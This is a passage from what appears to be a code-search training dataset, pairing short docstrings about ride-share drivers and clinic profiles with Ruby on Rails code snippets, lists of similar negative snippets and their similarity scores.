"def add_new_trip(trip)\n self.status = :UNAVAILABLE\n add_trip(trip)\n end",
"def create\n @trip = current_user.trips.build(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to trips_path, notice: 'Cesta byla vytvořena.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(user_id: params[:user_id], trip_name: params[:trip_name], distance: params[:distance], walked_at: Time.now)\n @origin = Place.new(user_id: params[:user_id], place_name: params[:origin_name], latitude: params[:origin_lat], longitude: params[:origin_long])\n @destination = Place.new(user_id: params[:user_id], place_name: params[:dest_name], latitude: params[:dest_lat], longitude: params[:dest_long])\n if @trip.save && @origin.save && @destination.save\n @origin_point = TripPoint.new(trip_id: @trip.id, place_id: @origin.id, place_type: \"Origin\")\n @destination_point = TripPoint.new(trip_id: @trip.id, place_id: @destination.id, place_type: \"Destination\")\n @origin_point.save\n @destination_point.save\n else\n render :json => {:success => false, :errors => [\"Trip creation failed.\"]}\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n\n # Retrieve the trip travellers from the session.\n travellers = session[:travellers]\n if travellers != nil\n travellers.each do |t|\n @trip.travellers << t\n end\n end\n\n destination_coordinates = GoogleAPIGeocoder.do_geocode(@trip.destination_address)\n\n if destination_coordinates.nil?\n @trip.delete\n redirect_to trip_plan_path, :alert => 'Invalid destination'\n end\n\n # Update the trip destination coordinates.\n @trip.update(destination_latitude: destination_coordinates[0])\n @trip.update(destination_longitude: destination_coordinates[1])\n\n\n if current_user != nil\n @trip.user_id = current_user.id\n @trip.save\n redirect_to edit_trip_plan_path(@trip)\n else\n session[:trip] = @trip\n redirect_to trip_plans_guest_edit_path\n end\n end",
"def create\n trip = current_user.trips.new(trip_params)\n if trip.save\n render json: {\n status: :created,\n trip: trip\n }\n else\n render json: {\n status: 500,\n errors: trip.errors.full_messages\n }\n end\n end",
"def create\n @trip = Trip.new(params[:trip])\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, :notice => 'Trip was successfully created.' }\n format.json { render :json => @trip, :status => :created, :location => @trip }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n err_objs=[]\n error=false\n user_id=MobileDevice.where(:access_token=>params[:access_token]).first.user_id\n if params.has_key?('trips')\n params[:trips].each do |trip|\n trip_id=trip[1][:trip_id] #save ref to trip id in case @trip.save fails (used in return response)\n if !create_trip(trip[1],user_id)\n error=true\n err_objs.push(trip_id)\n end\n end\n else\n error=true\n end\n respond_to do |format|\n if !error\n format.json { render json: {:msg => \"success\"}, status: :created }\n else\n format.json { render json: {:msg => \"Could not save the following trips. Please check that all required fields are filled out (license_plate, cargo, start_location, end_location, start_timestamp, end_timestamp)\", :err_ids => err_objs}, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # inflate a trip proxy object from the form params\n @trip_proxy = create_trip_proxy_from_form_params\n \n if @trip_proxy.valid?\n @trip = create_trip(@trip_proxy)\n end\n\n # Create makers for the map control\n @markers = create_markers(@trip_proxy)\n\n respond_to do |format|\n if @trip\n if @trip.save\n @trip.reload\n @planned_trip = @trip.planned_trips.first\n @planned_trip.create_itineraries\n format.html { redirect_to user_planned_trip_path(@traveler, @planned_trip) }\n format.json { render json: @planned_trip, status: :created, location: @planned_trip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_proxy.errors, status: :unprocessable_entity }\n end\n else\n format.html { render action: \"new\", flash[:alert] => t(:correct_errors_to_create_a_trip) }\n end\n end\n end",
"def new\n @trip = current_user.trips.new\n @places = []\n end",
"def create\n @trip = Trip.new(trip_name: trip_params[:trip_name], user_id: current_user.id)\n respond_to do |format|\n if @trip.save\n UserTrip.create(user_id: current_user.id, trip_id: @trip.id)\n UserTrip.add_users_to_trip(params[:trippers], @trip.id, current_user)\n Exchange.set_defaults(@trip.id)\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip_waypoint = TripWaypoint.new\n @trip_waypoint.place_id = params[:place_id]\n @trip_waypoint.trip_id = params[:trip_id]\n @trip_waypoint.save\n\n respond_to do |format|\n if @trip_waypoint.save\n format.html { redirect_to edit_partner_trip_path(params[:trip_id]), notice: \"Le lieu a été ajouté à l'itinéraire\" }\n # format.json { render :show, status: :created, location: @trip_waypoint }\n else\n format.html { render :new }\n # format.json { render json: @trip_waypoint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to current_user, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { redirect_to current_user, notice: \"Trip can't be created\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @new_trip = Trip.create(trip_params)\n @trip = Trip.new(trip_params)\n @trip_types = [[\"Weekend Getaway\", 1], [\"Boys Trip\", 2], [\"Bachelorette\", 3], [\"Road Trip\", 4], [\"Adventure\", 5], [\"Other\", 6]]\n # @first_attendee -> add the current user as an attendee automatically - when creating a trip\n @first_attendee = Attendee.create!([{trip_id: @new_trip.id, user_id: current_user.id, balance: 0}])\n # @attendees -> list of attendees only for current trip\n @attendees = Attendee.where(trip_id: params[:trip_id])\n @number_of_possible_attendees = @new_trip.number_of_possible_attendees\n @price_per_night = @new_trip.price_per_night\n @trip_length_night = (@new_trip.end_date - @new_trip.start_date).to_i\n @total_cost = @price_per_night.to_i * @trip_length_night.to_i\n respond_to do |format|\n @attendees_amount = @attendees.size\n if @new_trip.save\n # calculating total possible trip cost after trip has been created!\n @total_possible_accomodation_cost_per_person = @total_cost.to_i / @number_of_possible_attendees.to_i\n @new_trip.update_attribute(:total_possible_cost, @total_possible_accomodation_cost_per_person)\n @new_trip.update_attribute(:total_confirmed_cost, @total_confirmed_accomodation_cost_per_person)\n format.html { redirect_to \"/trips/#{@new_trip.id}\", notice: \"Welcome to your trip's page!\" }\n format.json { render :show, status: :created, location: @trip }\n else\n # format.html { redirect_to @new_trip }\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render json: @new_trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @trip = Trips.new\n end"
] | [
"0.70455885",
"0.6831871",
"0.68134004",
"0.67461973",
"0.6674544",
"0.66258496",
"0.66080695",
"0.66080695",
"0.6592854",
"0.6562376",
"0.648128",
"0.6473586",
"0.6440386",
"0.6423188",
"0.63966817",
"0.6389584",
"0.63762724",
"0.6374795",
"0.6334971",
"0.63134545",
"0.6298283",
"0.6286378",
"0.6283703",
"0.6277648",
"0.62700146",
"0.62536967",
"0.6246095",
"0.6245684",
"0.6241545",
"0.622939"
] | 0.78405476 | 0 |
Returns an available driver, with priority going to the driver who has never had trips and then to the driver with the least recent last trip. Returns nil if cannot find an available driver. | def find_available_driver
longest_ago_last_trip = Time.now
longest_ago_last_trip_driver = nil
@drivers.each do |driver|
next if !driver.is_available?
return driver if driver.trips.empty? # driver has never had a trip
last_trip_end_time = get_last_trip_end_time(driver)
if last_trip_end_time < longest_ago_last_trip
longest_ago_last_trip = last_trip_end_time
longest_ago_last_trip_driver = driver
end
end
return longest_ago_last_trip_driver
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def select_driver_available\n # Find the first available driver:\n @drivers.each {|driver| return select_driver_available = driver if driver.status == :AVAILABLE }\n end",
"def select_driver_with_earliest_end_of_trip(only_available)\n earliest_end_time = Time.now\n right_driver = nil\n\n only_available.each do |sub_array|\n\n return right_driver = sub_array[0] if sub_array[1] == nil\n\n if\n sub_array[1].end_time < earliest_end_time\n earliest_end_time = sub_array[1].end_time\n right_driver = sub_array[0]\n end\n end\n return right_driver\n end",
"def get_driver\n @@semaphore.synchronize do\n @@pool.each do |entry|\n unless entry[:taken]\n entry[:taken] = true\n return entry[:driver]\n end\n end\n end\n nil\n end",
"def find_driver\n RideShare::Driver.find(@driver_id)\n # returns Driver instance associated with this Trip instance\n end",
"def trip_get_driver(driver_id)\n RideShare::Driver.find(driver_id)\n end",
"def driver_name\n return @driver_name.dup if @driver_name\n return nil\n end",
"def return_driver\r\n\t\treturn @driver\r\n\tend",
"def get_best_rated(drivers)\n best_rated = nil\n best_avg = 0\n drivers.each do |driver, rides|\n current_avg = get_avg_rating(rides)\n if best_avg < current_avg\n best_rated = driver\n best_avg = current_avg\n end\n end\n return best_rated\nend",
"def driver_info\n return Rideshare::Driver.find(@driver_id)\n end",
"def driver\n @driver ||= self.class.default_driver\n end",
"def find_driver(id)\n return find_by_id(@drivers, id)\n end",
"def current_driver \n @current_driver ||= Driver.find(session[:driver_id]) if session[:driver_id]\n\n end",
"def Get_Driver_Name()\n\tdriver_name = 11\n\tDir.foreach(Dir.getwd){ |fn| if /zip$/.match(fn) or /rar$/.match(fn) or /7z$/.match(fn)\n\t\t\t\t\t\t\tdriver_name = fn\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t}\n\treturn driver_name\nend",
"def drivers\n driver_ids = trips.map { |trip| trip.driver_id }\n driver_ids.sort!.uniq! # sort by ascending id and remove any duplicates\n # find the driver instances matching the given driver ids\n driver_ids.map { |driver_id| Driver.find(driver_id)}\n end",
"def return_all_drivers\n return @trips.map{ |trip| trip.driver }\n end",
"def getDriver\n @driver\n end",
"def getDriver\n @driver\n end",
"def set_driver\n case delivery_shift\n when 'M', 'E'\n self.driver = User.drivers.find_by(shift: 1)\n when 'A'\n self.driver = User.drivers.find_by(shift: 2)\n end\n end",
"def driver\n\t\t\t_load_driver unless @driver\n\t\t\t@driver\n\t\tend",
"def driver # should return only one row\n relationship = self.relationships.find_by(ride_id: self.id, is_driving: true)\n unless relationship.nil?\n relationship.user\n else\n nil\n end\n end",
"def drivers\n drivers = (trips.map { |trip| RideShare::Driver.find(trip.driver_id) }).compact\n return drivers.uniq { |driver| driver.id }\n end",
"def driver\n storage_hash = get_api_node(['storage-pools', resource[:name]])\n driver = storage_hash['driver']\n return driver\n end",
"def highest_rated(drivers)\n # hash data for the highest rated driver\n highest_earner_data = drivers.max { |a, b| a[:average_rating] <=> b[:average_rating] }\n # extract the driver ID\n highest_rated = highest_earner_data[:driver_id]\n return highest_rated\nend",
"def all_drivers\n if all_trips.class != String\n drivers = all_trips.map{|h| h[:driver_id]}\n return drivers.map {|driver| Rideshare::Driver.find(driver)}.uniq\n else\n return \"No Match\"\n end\n end",
"def driver_name\n fail 'No Driver Error' if driver.nil?\n\n \"#{driver.first_name} #{driver.last_name}\"\n end",
"def highest_earner(drivers)\n # hash data for the highest earning driver\n highest_earner_data = drivers.max { |a, b| a[:total_earned] <=> b[:total_earned]}\n # extracts the driver ID\n highest_earner = highest_earner_data[:driver_id]\n return highest_earner\nend",
"def available_drivers(is_unscheduled)\n\t\tdriver_ids = Availability.where(\n\t\t\tstart_hour: {\"$lte\" => start_hour},\n\t\t\tend_hour: {\"$gte\" => end_hour},\n\t\t\tday_of_week: day_of_week).map(&:driver_id)\n if is_unscheduled\n driver_ids -= self.driver_shifts.map(&:driver_id)\n end\n\t\t# Grab an array of all drivers with the above schedule\n # And formulate custom IDs that include the shift ID\n\t\tDriver.find(driver_ids).map{|d| Driver.new(id: d.id.to_s+\"_\"+self.id.to_s, name: d.name)}\n\tend",
"def driver\n @data[\"driver\"]\n end",
"def nearest_driver_name(pos)\n a = @driver_pos.find_index(pos)\n @driver_name[a]\n end",
"def driver_on_path_or_fixed\n path = `which geckodriver`\n return path.strip unless path.empty? # In this case 'geckodriver' is not on the path\n '/usr/local/bin/geckodriver'\nend"
] | [
"0.69621813",
"0.66751736",
"0.6600665",
"0.62989503",
"0.60639536",
"0.58175",
"0.5743223",
"0.56085503",
"0.55751336",
"0.541619",
"0.53816545",
"0.5357466",
"0.5345735",
"0.5341944",
"0.5317126",
"0.5302267",
"0.5302267",
"0.5286998",
"0.5267574",
"0.52250314",
"0.5198091",
"0.5195422",
"0.51795",
"0.5162538",
"0.5125559",
"0.51006067",
"0.5066888",
"0.5061777",
"0.50308996",
"0.50023484"
] | 0.8329913 | 0 |
Returns the most recent end trip time for provided driver. | def get_last_trip_end_time(driver)
last_trip_end_time = Time.parse('1949-04-09') # needed as a placeholder
driver.trips.each do |trip|
last_trip_end_time = trip.end_time if last_trip_end_time < trip.end_time
end
return last_trip_end_time
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def last_trip_end_time\n return nil if @driven_trips.empty?\n return @driven_trips.max_by { |item| item.end_time }.end_time\n end",
"def find_available_driver\n longest_ago_last_trip = Time.now\n longest_ago_last_trip_driver = nil\n @drivers.each do |driver|\n next if !driver.is_available?\n return driver if driver.trips.empty? # driver has never had a trip\n last_trip_end_time = get_last_trip_end_time(driver)\n if last_trip_end_time < longest_ago_last_trip\n longest_ago_last_trip = last_trip_end_time\n longest_ago_last_trip_driver = driver\n end\n end\n return longest_ago_last_trip_driver\n end",
"def end_time\n @parts.last.end_time\n end",
"def select_driver_with_earliest_end_of_trip(only_available)\n earliest_end_time = Time.now\n right_driver = nil\n\n only_available.each do |sub_array|\n\n return right_driver = sub_array[0] if sub_array[1] == nil\n\n if\n sub_array[1].end_time < earliest_end_time\n earliest_end_time = sub_array[1].end_time\n right_driver = sub_array[0]\n end\n end\n return right_driver\n end",
"def latest_interview_timeblock_end\n interview_timeblocks.find(:first, :order => 'end_time DESC').end_time\n end",
"def end_time\n item_hash.deep_find([:listing_details, :end_time])\n end",
"def end_time\n data.end_time\n end",
"def end_time\n if ev = stop_event.last\n ev.time\n end\n end",
"def end_time\n if ev = stop_event.last\n ev.time\n end\n end",
"def ended_at\n Convert.millis_to_time @gapi.statistics.end_time\n end",
"def last_out_time\n Out.last(:order => \"time ASC\").time rescue nil\n end",
"def getTripPlannedTime()\n return @tripPlannedTimeList.last() ;\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def end_date_time\n return @end_date_time\n end",
"def estimatedEndServerTime \n \"estimatedEndServerTime\" \n end",
"def trip_get_driver(driver_id)\n RideShare::Driver.find(driver_id)\n end",
"def get_last_server\n return get_server_by_algorithm { |l| l.last }\n end",
"def end_time\n eval(self.end) if self.end.present?\n end",
"def last_fetch\n datetime_from(\"sf:last_fetch\")\n end",
"def end_date\n\t \tTime.at(self.end_time) rescue nil\n\t end",
"def last_scan(site_id)\n site_scan_history(site_id).select(&:end_time).max_by(&:end_time)\n end",
"def last_in_time\n In.last(:order => \"time ASC\").time rescue nil\n end",
"def end_time\n return nil if empty?\n @start_time + (@v.size-1).hours\n end",
"def get_completion_time()\n return process_stamp(@end_time)\n end"
] | [
"0.73836035",
"0.63608193",
"0.63047004",
"0.5927146",
"0.58888227",
"0.58355963",
"0.5762898",
"0.5590426",
"0.5590426",
"0.55876356",
"0.55562884",
"0.55534047",
"0.55508184",
"0.55508184",
"0.55508184",
"0.55508184",
"0.55508184",
"0.55508184",
"0.55508184",
"0.55268764",
"0.55135167",
"0.5475466",
"0.54602605",
"0.54374796",
"0.54131335",
"0.5380859",
"0.535669",
"0.5354002",
"0.5326691",
"0.5277174"
] | 0.85894966 | 0 |
GET /clinic_profiles GET /clinic_profiles.json | def index
@clinic_profiles = ClinicProfile.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n authorize Profile\n @profiles = ProfilePolicy::Scope.new(current_user, @user.profiles).resolve\n render json: @profiles\n end",
"def index\n @profiles = current_user.profiles\n end",
"def index\n @profiles = current_user.profiles\n end",
"def my_profiles\n @user = User.find(params[:user_id])\n @profiles = @user.profiles\n end",
"def index\n @profiles = Profile.all\n @original_niche = get_subscriber_details(@profiles, \"niche\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @profiles }\n end\n end",
"def set_clinic_profile\n @clinic_profile = ClinicProfile.find(params[:id])\n end",
"def profiles \n personid = params[:id]\n @response = JSON.parse(current_user.access_token.token.get('/api/v0/aspects/profiles?ids=['+params[:id]+']'))\n respond_to do |format|\n format.html\n format.json {render :json=> @response, :callback=>params[:callback]}#{render json: @response}\n end\n end",
"def index\n @client_profiles = ClientProfile.all\n end",
"def index\n @profiles = Profile.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @profiles }\n end\n end",
"def index\n @climber_profiles = ClimberProfile.all\n end",
"def index\n @skill_user_profiles = SkillUserProfile.all\n\n render json: @skill_user_profiles\n end",
"def create\n @clinic_profile = ClinicProfile.new(clinic_profile_params)\n\n respond_to do |format|\n if @clinic_profile.save\n format.html { redirect_to @clinic_profile, notice: 'Clinic profile was successfully created.' }\n format.json { render :show, status: :created, location: @clinic_profile }\n else\n format.html { render :new }\n format.json { render json: @clinic_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @profiles = Profile.all.paginate :page => params[:page], :per_page => 3\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @profiles }\n end\n end",
"def profiles(fields: nil)\n params = build_fields_params fields\n res = @connection.get profile_path, params\n map_as_collection res, Profile\n end",
"def index\n @project_profiles = ProjectProfile.all\n end",
"def index\n @profiles = Profile.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @profiles }\n end\n end",
"def profiles\n collection(\"profiles\", paged: true)\n end",
"def index\n @profiles = Profile.all\n @profile = Profile.find_by_id(params[:profile_id])\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end",
"def index\n @profiles = Profile.all\n end"
] | [
"0.67957795",
"0.66158783",
"0.66158783",
"0.65904254",
"0.65620965",
"0.65518934",
"0.6525518",
"0.6477518",
"0.64404804",
"0.63936657",
"0.6384022",
"0.636558",
"0.63554305",
"0.6339656",
"0.63104635",
"0.6293709",
"0.62731755",
"0.6236415",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656",
"0.62272656"
] | 0.764416 | 0 |
POST /clinic_profiles POST /clinic_profiles.json | def create
@clinic_profile = ClinicProfile.new(clinic_profile_params)
respond_to do |format|
if @clinic_profile.save
format.html { redirect_to @clinic_profile, notice: 'Clinic profile was successfully created.' }
format.json { render :show, status: :created, location: @clinic_profile }
else
format.html { render :new }
format.json { render json: @clinic_profile.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @security_profile = Security::Profile.new(security_profile_params)\n @security_profile.user_created_id = current_user.id\n respond_to do |format|\n if @security_profile.save\n format.html { redirect_to security_profiles_path, notice: I18n.t('profiles.controller.create')}\n format.json { render :show, status: :created, location: @security_profile }\n else\n format.html { render :new }\n format.json { render json: @security_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = current_user.profiles.build(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.create({\n name: params['profile']['name'],\n speciality: params['profile']['speciality'],\n city: params['profile']['city'],\n user_id: current_user['id']\n })\n @profile.save\n respond_with(@profile)\n end",
"def create\n @profile = Profile.new(profile_params)\n\n if @profile.save\n render json: @profile, status: :created\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end",
"def clinic_profile_params\n params.require(:clinic_profile).permit(:first_name, :last_name, :birthday, :relationship, :genre, :blood, :height, :weight)\n end",
"def create\n @surgical_profile = SurgicalProfile.new(surgical_profile_params)\n\n # TODO: minimize into single query\n @patient = Patient.query_one_by_id(\n current_user, @surgical_profile.patient_id\n )\n @surgeon = User.find(@surgical_profile.user_id)\n\n respond_to do |format|\n if @surgical_profile.preprocess_and_save()\n format.html { redirect_to patient_surgical_profiles_path(@patient), notice: 'Surgical profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @surgical_profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @surgical_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @clinic_profiles = ClinicProfile.all\n end",
"def create\n @profiles = current_user.profiles.new(profile_params)\n\n if @profiles.save\n redirect_to profiles_path, notice: 'Profile was successfully created.'\n else\n render :new\n end\n end",
"def set_clinic_profile\n @clinic_profile = ClinicProfile.find(params[:id])\n end",
"def create\n # Buidles a profile in association witht eh user\n @user = User.find(current_user.id)\n @profile = @user.build_profile(params[:user])\n @profile.update_attributes(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n @profile.profile_id = UUIDTools::UUID.timestamp_create().to_s\n @profile.user_id = current_user.id\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to users_profile_index_path, notice: t(:profile_successfully_created) }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, :notice => 'Profile was successfully created.' }\n format.json { render :json => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n logger.info(\"CREATE PROFILE #{params[:profile].inspect}\")\n @profile = Profile.new(params[:profile])\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html do\n redirect_to @profile, notice:\n \"Profile was successfully created.\"\n end\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json do\n render json: @profile.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to root_path, notice: t('controller.profiles.create.success') }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personal_profile = PersonalProfile.new(personal_profile_params)\n @personal_profile.user_id=current_user.id\n respond_to do |format|\n if @personal_profile.save\n format.html { redirect_to resume_path, notice: 'Personal profile was successfully created.' }\n format.json { render :show, status: :created, location: resume_path }\n else\n format.html { render :new }\n format.json { render json: @personal_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # TO DO: make this for just generic creation.\n @profile = Profile.find_by_email(params[:profile][:email])\n @profile.user_id = current_user.id\n\n if @profile.nil?\n @profile = Profile.new(params[:profile])\n add_to_list_niche(params[:profile][:fname], params[:profile][:email], params[:profile][:niche], list_id=ENV[\"MAILCHIMP_LISTID\"])\n @profile.save\n else\n @profile.update_attributes(params[:profile])\n end\n\n redirect_to profiles_path, notice: 'Profile was successfully created.' \n # format.json { render json: @profile, status: :created, location: @profile }\n end",
"def create\n @climber_profile = ClimberProfile.new(climber_profile_params)\n\n respond_to do |format|\n if @climber_profile.save\n format.html { redirect_to @climber_profile, notice: 'Climber profile was successfully created.' }\n format.json { render :show, status: :created, location: @climber_profile }\n else\n format.html { render :new }\n format.json { render json: @climber_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @university_profile = UniversityProfile.new(params[:university_profile])\n \n respond_to do |format|\n if @university_profile.save\n format.html { redirect_to @university_profile, notice: 'University profile was successfully created.' }\n format.json { render json: @university_profile, status: :created, location: @university_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6614924",
"0.65718526",
"0.6521124",
"0.6484346",
"0.6463979",
"0.64370984",
"0.64134955",
"0.6338189",
"0.6332701",
"0.62846774",
"0.62773263",
"0.6244513",
"0.62364155",
"0.61822855",
"0.61567503",
"0.61560684",
"0.6149351",
"0.6120731",
"0.6114918",
"0.6114918",
"0.611308",
"0.611308",
"0.611308",
"0.611308",
"0.611308",
"0.611308",
"0.611308",
"0.61105216",
"0.6110015",
"0.6110015"
] | 0.7533061 | 0 |
PATCH/PUT /clinic_profiles/1 PATCH/PUT /clinic_profiles/1.json | def update
respond_to do |format|
if @clinic_profile.update(clinic_profile_params)
format.html { redirect_to @clinic_profile, notice: 'Clinic profile was successfully updated.' }
format.json { render :show, status: :ok, location: @clinic_profile }
else
format.html { render :edit }
format.json { render json: @clinic_profile.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
